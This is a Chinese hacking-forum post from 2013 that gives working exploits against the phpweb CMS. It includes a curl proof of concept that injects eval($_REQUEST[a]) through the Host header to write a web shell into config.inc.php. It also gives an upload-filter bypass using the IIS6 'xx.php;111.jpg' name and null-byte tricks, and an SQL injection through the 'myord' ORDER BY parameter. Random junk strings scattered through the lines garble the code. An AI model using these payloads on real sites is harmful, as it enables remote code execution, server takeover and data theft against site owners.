找回密码
 立即注册
查看: 2930|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:/ W' U- L$ c+ h& J2 |

5 S" ~% G9 B9 e, M, K! n之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码, C' h  [* c& s0 N

. b  d: c* H* y4 Q% o% c鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
8 u0 B9 J8 s4 }  J+ l6 \鸡肋2: 有一定安全常识的站长都会删掉 install 目录' t1 i# a. \% i9 I& Y5 j

( J" W' p9 q( o3 M2 [虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; B2 S8 T3 \. V, n& ^
' D: J4 q. h* G( ?- J% E, t5 D分析:
2 e& t  t/ b0 Q/ U+ F' U 3 l1 s  D# R9 G6 i8 f3 w5 n" l! R
: i! Y* f" K$ v2 B6 d+ C* D6 |3 A
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤: W! \. d) k+ g* e* Q( j! t

# g& g) G/ ^9 C- k. s8 j                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
  m1 b& n1 ^- [; \, S+ @8 _/ a                                            $filestr=str_replace(" ","",$filestr);
# m% e5 `% g; b1 O! a9 S                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);* a2 x' o& b, q3 K  Q0 f! C
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);8 w7 l+ q8 r$ v2 b- H7 @8 s
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);5 s; U/ \& W8 A( b
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);- j' \. q( i  p7 C6 K. l& Y
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);& s6 \# g6 r. B+ ^
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);% o+ i8 F2 k+ g3 o) R+ c; f/ g* F) B
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( _' C5 ]# _4 s" {  w6 K+ ? & a, S/ `% z. t- o# i3 f' j: t
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);/ \. p0 Z' _% q- w
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^+ u5 Z* ^, Z4 y8 f8 U* F4 `

: `8 r2 ]% Y; wpoc:
' Q8 U: h& L( I6 F
. u/ \" w/ ]+ {?0 V* Y2 o/ a6 M+ \
1% I; \7 J: m0 q; v7 H( n
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"* c) s: \- V" l
shell地址: /config.inc.php
5 a  U" H* ?: y4 l跟之前的 phpcms一样 需要远程数据库
" i  ~9 U' d& ~$ r  p; ] # }3 I2 _' {9 ^. w  j
——————————————————–' N! N4 f: ?% N: `( _
上传漏洞(需要进后台):* S/ L" c6 `1 @0 R+ y+ b/ `
漏洞文件: /kedit/upload_cgi/upload.php) c1 s  Y+ R+ T& o( y0 }
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
! v3 W: A0 V* f" v( v7 s * @6 D6 Z/ T8 J
6 F5 m) H3 \5 h# c
<?php9 b1 ?; q4 ]$ O: i" S5 J: d
    define("ROOTPATH", "../../");
- m& W% P! U. R/ o* r    include(ROOTPATH."includes/admin.inc.php");
& A& ^9 c) P- A% q6 \    NeedAuth(0);
; F# h" `0 ?, |: w' p$ r# l " B  ^& y% [5 [* C
    $dt=date("Ymd",time());& l* ^6 p9 V, Y
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){; v4 r9 R# B) z: ~
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
" T: c& x. @; `# `: V1 p, Q2 _    }
, ]. R$ b" n# g# N, {: h! ?8 j
# ?& _/ M4 i7 b+ k+ Z2 a' ]    //文件保存目录路径  w  Q6 ?/ L3 J* P9 L3 I# S
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';+ W  F) f% m$ e6 F2 z" @( o
    echo $save_path;, z3 p5 v6 Z9 ?
    //文件保存目录URL1 b4 y+ q( j0 v" g/ [+ m1 ?
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';- m/ j2 w2 d% A4 U: U
& s; j9 X2 @* X
    //定义允许上传的文件扩展名
/ j( S1 e6 H. O# t    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀6 K5 V" ^. ?2 f; j$ B
6 o" I% p( N; V8 g. }+ c; D
    //最大文件大小
' C2 s( {( P8 [# x7 F0 t" |    $max_size = 1000000;
0 W5 T3 [, D4 y) E7 ~ 2 \+ J3 z9 j, U, D* y+ g
    //更改目录权限' I, D/ W4 O" l) d0 t/ S
    @mkdir($save_path, 0777);/ G3 c- H$ N. p
7 |9 ]" \! f% v, p
    //文件的全部路径
, s0 q2 Q4 U+ O2 q    $file_path = $save_path.$_POST['fileName'];   //保存文件名
8 Y$ }. V6 T( E5 I: n$ ~6 \
, C5 O8 X3 C0 }8 }# @    //文件URL
. M+ [) S& o- _8 N4 K: g/ T% J    $file_url = $save_url.$_POST['fileName'];
  n% A$ C. \2 k* m/ g) n* L//有上传文件时
, |7 Y; D4 [% E$ M. g" C* n    if (empty($_FILES) === false) {5 ?9 W: S. P4 P7 f& ?: N* N; R8 r

* T/ y- y. ?4 t8 A6 `3 Z. a            //原文件名! ~$ ]* y( C6 c1 ?
            $file_name = $_FILES['fileData']['name'];5 q' [5 w8 B& b' B
            //服务器上临时文件名
! x9 J2 Z+ x5 E+ D# b3 h            $tmp_name = $_FILES['fileData']['tmp_name'];, B3 l# `1 o, }8 k) Y
            //文件大小4 e9 O# G% T5 O- D, [
            $file_size = $_FILES['fileData']['size'];
( N% X( R+ n2 n( W            //检查目录
$ I, p/ A/ \' |: O; h$ n* ?            if (@is_dir($save_path) === false) {+ [$ `8 G6 L) C7 Z, l8 |: W
                    alert("上传目录不存在。");
4 q/ _$ v, d" P/ H( [% k            }
5 X* D  t1 w. D9 K, w            //检查目录写权限
- u. D2 A! z0 }/ _2 d' i9 a( B            if (@is_writable($save_path) === false) {
1 Z' S* L: r! }, d% C' H                    alert("上传目录没有写权限。");  S: g) [0 {; D
            }" Q% ?/ d7 E$ |  b( G
            //检查是否已上传
2 E. O9 D8 N4 y5 ^- E- m            if (@is_uploaded_file($tmp_name) === false) {
$ D  S' y9 B, m7 ^  z                    alert("临时文件可能不是上传文件。");' t" Y0 [( u4 {$ P+ j) E: r0 o
            }
1 O. u5 V. V  c: v, s0 |5 [8 [7 l9 R            //检查文件大小
' t2 R& n/ x) N7 [: G9 q/ J            if ($file_size > $max_size) {4 W, z2 s. Z9 m6 f0 Q' g
                    alert("上传文件大小超过限制。");/ V% T6 ^+ J* h6 t) g3 w& z
            }, ^& V8 c: Y( v. A5 F& ]: e& A: `9 S* t
            //获得文件扩展名
, j; D  l" u. ^+ Z/ T            $temp_arr = explode(".", $_POST['fileName']);* [3 g' m2 R1 U. {+ I3 C
            $file_ext = array_pop($temp_arr);
2 Y4 e+ N5 g- o( ]2 f$ {            $file_ext = trim($file_ext);! R9 H0 ]: Y' ~
            $file_ext = strtolower($file_ext);
$ Z" j% A* B3 j1 M8 b3 T) r1 B ( N5 |% A( i+ r* c4 v! z  ~
            //检查扩展名   , ~. C% u0 b6 c
            if (in_array($file_ext, $ext_arr) === false) {     
" x* B5 Y# O( a6 d. e" p                    alert("上传文件扩展名是不允许的扩展名。");
/ c* w# \4 g: I3 P: v            }, G. s2 N0 u5 T& `- I3 v+ q4 P3 l
5 i7 [- `" x: a
            //移动文件   
; X7 j$ m& J4 f* W) _4 m            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
4 j' |+ F5 D" R: k  O7 W            if (move_uploaded_file($tmp_name, $file_path) === false) {
- B" g6 X! X# e% ?5 K# Q                    alert("上传文件失败。");
2 L6 M) U5 A/ p; k: K- F+ v7 ?2 w* e            }' t0 b9 q0 ~, o! }  m2 a
: I6 u( e6 v. r! m# E& g
            @chmod($file_path,0666);! r' g' N: x( _8 B; w
, d% @  t: y5 p6 `  V+ T3 ]" G
    ?>  ?! k8 P( l& c" Y, J2 w
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227. {9 u( {' n" m# I
, n) q9 Y6 v* q6 f  b; G
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过4 _, w7 `/ q: H  G

9 q2 E8 |# V- E& l9 u) v" \2 a. ?——————————————————9 q/ O- D. }8 s. a1 P1 I
注入漏洞:
& A3 C  B' u) m( A6 v" d9 b5 b漏洞文件:search/module/search.php# y# u: M1 @* o2 p
/search/index.php?key=1&myord=1 [sqlinjection]0 S3 q- U4 X4 T" Q+ f; v+ t
, u0 n) M) a0 {# M/ x- P: K: e+ @

$ d( F+ K2 b: f<?php, Z0 i+ d) E2 x" J) v& J* {2 O
   //       ... 省略 n 行...
- b5 W1 C% \2 ?9 E" |, y   //第18行:$ Z" b( g- O( E, C" |, s  l5 q
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响9 r$ R$ T8 H/ c& _0 t
           $page=htmlspecialchars($_GET["page"]);# |; l9 K$ I2 f9 B" I- ?- O1 Y
           $myord=htmlspecialchars($_GET["myord"]);
6 A0 P. g* C- a
. O) F( }/ r2 q) ]' o6 P2 o" O   //       ... 省略 n 行...$ g" Y: d- \$ w; Y$ e6 ~
   $key,$myord 两个参数带入查询
$ r* _  A  r3 }5 Z   //第47行 $key:" ?; ^* q# e; }5 ~% ]
; W) @# a3 ?" |- Q6 ?. r2 |* }7 S
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
5 H' k! L3 ^; G2 C
5 B& i4 f) N8 a' y/ l! K   //第197行 $myord0 G+ Y; S/ ?  X+ d. e! R  n# t
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入( u2 F; R+ D$ d3 P

# q; i4 \; {$ l) N# u8 q- L   ?># l/ G# _  A  H( A1 y3 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表